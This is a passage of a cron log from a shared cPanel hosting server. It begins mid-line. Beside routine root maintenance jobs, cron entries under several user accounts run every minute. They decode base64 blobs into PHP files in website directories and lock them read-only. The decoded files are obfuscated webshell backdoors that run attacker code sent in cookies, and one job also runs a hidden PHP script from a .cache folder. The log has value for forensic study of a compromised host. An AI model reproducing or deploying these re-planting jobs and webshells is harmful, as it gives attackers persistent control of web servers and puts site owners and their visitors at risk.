W5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:49:02 medusa CROND[22467]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 07:49:02 medusa CROND[22468]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 07:50:01 medusa CROND[24538]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 07:50:02 medusa CROND[24549]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 07:50:02 medusa CROND[24555]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 07:50:02 medusa CROND[24557]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 07:50:02 medusa CROND[24558]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 07:50:02 medusa CROND[24560]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 07:50:02 medusa CROND[24562]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:50:02 medusa CROND[24566]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 07:50:02 medusa CROND[24568]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 07:50:02 medusa CROND[24561]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Jun  7 07:50:02 medusa CROND[24571]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 07:50:02 medusa CROND[24572]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:50:02 medusa CROND[24559]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Jun  7 07:50:02 medusa CROND[24574]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 07:50:02 medusa CROND[24577]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 07:50:02 medusa CROND[24580]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 07:50:02 medusa CROND[24576]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 07:50:02 medusa CROND[24581]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Jun  7 07:50:02 medusa CROND[24583]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 07:50:02 medusa CROND[24584]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:50:02 medusa CROND[24565]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 07:50:02 medusa CROND[24579]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Jun  7 07:50:02 medusa CROND[24578]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Jun  7 07:50:02 medusa CROND[24586]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:50:02 medusa CROND[24556]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 07:50:02 medusa CROND[24569]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Jun  7 07:50:02 medusa CROND[24575]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 07:50:02 medusa CROND[24591]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 07:50:02 medusa CROND[24564]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 07:50:02 medusa CROND[24587]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Jun  7 07:51:01 medusa CROND[26831]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 07:51:02 medusa CROND[26842]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 07:51:02 medusa CROND[26841]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 07:51:02 medusa CROND[26843]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 07:51:02 medusa CROND[26844]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:51:02 medusa CROND[26846]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 07:51:02 medusa CROND[26847]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 07:51:02 medusa CROND[26848]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:51:02 medusa CROND[26849]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 07:51:02 medusa CROND[26851]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:51:02 medusa CROND[26852]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 07:51:02 medusa CROND[26857]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 07:51:02 medusa CROND[26864]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
